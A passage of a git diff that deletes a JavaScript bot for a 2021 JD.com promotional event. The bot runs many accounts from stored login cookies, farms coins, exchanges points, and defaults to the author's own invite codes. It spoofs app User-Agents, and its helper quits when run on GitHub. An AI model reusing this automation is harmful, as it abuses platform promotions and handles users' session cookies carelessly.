t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_immortal.js b/activity/jd_immortal.js deleted file mode 100644 index 0449ea2..0000000 --- a/activity/jd_immortal.js +++ /dev/null @@ -1,556 +0,0 @@ -/* -京东神仙书院 -活动时间:2021-1-20至2021-2-5 -增加自动积分兑换京豆(条件默认为:至少700积分,1.4倍率) -暂不加入品牌会员,需要自行填写坐标,用于做逛身边好店任务 -环境变量:JD_IMMORTAL_LATLON(经纬度) -示例:JD_IMMORTAL_LATLON={"lat":33.1, "lng":118.1} -boxjs IMMORTAL_LATLON -活动入口:京东APP我的-神仙书院 -地址:https://h5.m.jd.com//babelDiy//Zeus//4XjemYYyPScjmGyjej78M6nsjZvj//index.html?babelChannel=ttt9 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东神仙书院 -20 8,12,22 * * * jd_immortal.js, tag=京东神仙书院, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "20 8,12,22 * * *" script-path=jd_immortal.js, tag=京东神仙书院 - -===============Surge================= -京东神仙书院 = type=cron,cronexp="20 8,12,22 * * *",wake-system=1,timeout=3600,script-path=jd_immortal.js - -============小火箭========= -京东神仙书院 = type=cron,script-path=jd_immortal.js, cronexpr="20 8,12,22 * * *", timeout=3600, enable=true - */ -const $ = new Env('京东神仙书院'); - -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -let scoreToBeans = $.isNode()?(process.env.JD_IMMORTAL_SCORE || 0):$.getdata('scoreToBeans') || 0; //兑换多少数量的京豆(20或者1000),0表示不兑换,默认兑换20京豆,如需兑换把0改成20或者1000,或者'商品名称'(商品名称放到单引号内)即可 - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -const inviteCodes = [ - `39xIs4YwE5Z7CPQQ0baz9jNWO6PSZHsNWqfOwWyqScbJBGhg4v7HbuBg63TJ4@27xIs4YwE5Z7FGzJqrMmavC_vWKtbEaJxbz0Vahw@43xIs4YwE5Z7DsWOzDSP_N6WTDnbA0wBjjof6cA9FzcbHMcZB9wE1R3ToSluCgxAzEXQ@43xIs4YwE5Z7DsWOzDSEuRWEOROpnDjMx_VvSs5ikYQ8XgcZB9whEHjDmPKQoL16TZ8w@50xIs4YwE5Z7FTId9W-KibDgxxx6AEa7189V1zSxSf2HP6681IXPQ81aJEP77WoHXLcK7QzlxGqsGqfU@43xIs4YwE5Z7DsWOzDSPKFWdkRe2Ae6h0jAdlhuSmuwcfUcZB9wBcHhj0_zyZDNK4Rhg`, - `39xIs4YwE5Z7CPQQ0baz9jNWO6PSZHsNWqfOwWyqScbJBGhg4v7HbuBg63TJ4@27xIs4YwE5Z7FGzJqrMmavC_vWKtbEaJxbz0Vahw@43xIs4YwE5Z7DsWOzDSP_N6WTDnbA0wBjjof6cA9FzcbHMcZB9wE1R3ToSluCgxAzEXQ@43xIs4YwE5Z7DsWOzDSEuRWEOROpnDjMx_VvSs5ikYQ8XgcZB9whEHjDmPKQoL16TZ8w@43xIs4YwE5Z7DsWOzDSFehRRs_UaNcqkiU7BrrzDTKHScMcZB9wkYC2z6K-QOsQy1S3A@43xIs4YwE5Z7DsWOzDSFcl8RjNxfrQquzeGQQtkQOUbyqscZB9wkxX2jw2HhM7TczeqA` -]; -!(async () => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - console.log(`您设置的兑换积分下限为${scoreToBeans}`) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareCodesFormat(); - await jdNian() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdNian() { - try { - $.risk = false - await getHomeData() - if ($.risk) return - await getTaskList($.cor) - await $.wait(2000) - await helpFriends() - await $.wait(2000) - await getHomeData(true) - await showMsg() - } catch (e) { - $.logErr(e) - } -} - -function showMsg() { - return new Promise(resolve => { - message += `本次运行获得${$.earn}金币,当前${$.coin}金币` - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - -async function helpFriends() { - for (let code of $.newShareCodes) { - if (!code) continue - await doTask(code) - await $.wait(2000) - } -} - -function doTask(itemToken) { - return new Promise((resolve) => { - $.post(taskPostUrl('mcxhd_brandcity_doTask', {itemToken: itemToken}, 'mcxhd_brandcity_doTask'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['retCode'] === "200") { - if (data.result.score) - console.log(`任务完成成功,获得${data.result.score}金币`) - else if (data.result.taskToken) - console.log(`任务请求成功,等待${$.duration}秒`) - else { - console.log(`任务请求结果未知`) - } - } else { - console.log(data.retMessage) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function doTask2(taskToken) { - let body = { - "dataSource": "newshortAward", - "method": "getTaskAward", - "reqParams": `{\"taskToken\":\"${taskToken}\"}` - } - return new Promise(resolve => { - $.post(taskPostUrl2("qryViewkitCallbackResult", body,), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === "0") { - console.log(data.toast.subTitle) - } else { - console.log(`任务完成失败,错误信息:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getHomeData(info = false) { - return new Promise((resolve) => { - $.post(taskPostUrl('mcxhd_brandcity_homePage'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['retCode'] === "200") { - const {userCoinNum, userRemainScore} = data.result - if (info) { - $.earn = userCoinNum - $.coin - } else { - console.log(`当前用户金币${userCoinNum},积分${userRemainScore}`) - if (userRemainScore) { - await getExchangeInfo() - } - } - $.coin = userCoinNum - } else { - $.risk = true - console.log(`账号被风控,无法参与活动`) - message += `账号被风控,无法参与活动\n` - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function getExchangeInfo() { - return new Promise((resolve) => { - $.post(taskPostUrl('mcxhd_brandcity_exchangePage'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['retCode'] === "200") { - const {userRemainScore, exchageRate} = data.result - console.log(`当前用户兑换比率${exchageRate}`) - if (userRemainScore >= scoreToBeans) { - console.log(`已达到最大比率,去兑换`) - await exchange() - } - } else { - $.risk = true - console.log(`账号被风控,无法参与活动`) - message += `账号被风控,无法参与活动\n` - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function exchange() { - return new Promise((resolve) => { - $.post(taskPostUrl('mcxhd_brandcity_exchange'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['retCode'] === "200") { - const {consumedUserScore, receivedJbeanNum} = data.result - console.log(`兑换成功,消耗${consumedUserScore}积分,获得${receivedJbeanNum}京豆`) - $.msg($.name, ``, `京东账号${$.index} ${$.nickName}\n兑换成功,消耗${consumedUserScore}积分,获得${receivedJbeanNum}京豆`); - if ($.isNode()) await notify.sendNotify(`${$.name} - ${$.index} - ${$.nickName}`, `兑换成功,消耗${consumedUserScore}积分,获得${receivedJbeanNum}京豆`); - } else if (data['retCode'] === "323") { - console.log(`还木有到兑换时间哦~ `) - message += `还木有到兑换时间哦~ \n` - } else { - $.risk = true - console.log(`账号被风控,无法参与活动`) - message += `账号被风控,无法参与活动\n` - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function getTaskList(body = {}) { - - return new Promise(resolve => { - $.post(taskPostUrl("mcxhd_brandcity_taskList", body, "mcxhd_brandcity_taskList"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - $.tasks = [] - if (data.retCode === '200') { - $.tasks = data.result.tasks - for (let vo of $.tasks) { - if (vo.taskType === "13" || vo.taskType === "2" || vo.taskType === "5" || vo.taskType === "3") { - // 签到,逛一逛 - for (let i = vo.times, j = 0; i < vo.maxTimes && j < vo.subItem.length; ++i, ++j) { - console.log(`去做${vo.taskName}任务,${i + 1}/${vo.maxTimes}`) - let item = vo['subItem'][j] - await doTask(item['itemToken']) - await $.wait((vo.waitDuration ? vo.waitDuration : 5 + 1) * 1000) - } - } else if (vo.taskType === "7" || vo.taskType === "9") { - // 浏览店铺,会场 - for (let i = vo.times, j = 0; i < vo.maxTimes; ++i, ++j) { - console.log(`去做${vo.taskName}任务,${i + 1}/${vo.maxTimes}`) - let item = vo['subItem'][j] - $.duration = vo.waitDuration + 1 - await doTask(item['itemToken']) - await $.wait((vo.waitDuration + 1) * 1000) - await doTask2(item['taskToken']) - } - } else if (vo.taskType === "6") { - // 邀请好友 - if (vo.subItem.length) { - console.log(`您的好友助力码为${vo.subItem[0].itemToken}`) - } else { - console.log(`无法查询您的好友助力码`) - } - } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({ - url: `http://jd.turinglabs.net/api/v2/jd/immortal/read/${randomCount}/`, - 'timeout': 10000 - }, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(2000); - resolve() - }) -} - -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} - -function requireConfig() { - return new Promise(async resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - let shareCodes = [] - console.log(`共${cookiesArr.length}个京东账号\n`); - if ($.isNode() && process.env.JDSXSY_SHARECODES) { - if (process.env.JDSXSY_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.JDSXSY_SHARECODES.split('\n'); - } else { - shareCodes = process.env.JDSXSY_SHARECODES.split('&'); - } - } - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - $.cor = process.env.JD_IMMORTAL_LATLON ? JSON.parse(process.env.JD_IMMORTAL_LATLON) : (await getLatLng()) - } else { - $.cor = $.getdata("IMMORTAL_LATLON") ? JSON.parse($.getdata("IMMORTAL_LATLON")) : {} - } - console.log(`您提供的地理位置信息为${JSON.stringify($.cor)}`) - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} - -// 自动获取经纬度 -function getLatLng() { - return new Promise(resolve => { - try { - console.log('开始自动获取经纬度 lat lng ……'); - $.get({ - url: 'https://jingweidu.bmcx.com/web_system/bmcx_com_www/system/file/jingweidu/api/?v=20031911', - headers: { - "referer": "https://jingweidu.bmcx.com/", - 'Content-Type': 'text/html; charset=utf-8', - "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" - } - }, async (err, resp, data) => { - const res = data.match(/qq\.maps\.LatLng\(([\d\.]+), ([\d\.]+)\)/); - let lat = res[1]; - let lng = res[2]; - if (lat > 0 && lng > 0) { - resolve({ - 'lng': lng, - 'lat': lat - }); - return; - } - console.log('自动获取经纬度 lat lng 失败,返回经纬度结果错误'); - resolve({}); - }); - } catch (e) { - console.log('自动获取经纬度 lat lng 失败,触发异常'); - resolve({}); - } - }); -} - -function taskPostUrl(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - if (function_id2) { - url += `?functionId=${function_id2}`; - } - body = {...body, "token": 'jd17919499fb7031e5'} - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=publicUseApi`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function taskPostUrl2(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - if (function_id2) { - url += `?functionId=${function_id2}`; - } - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let 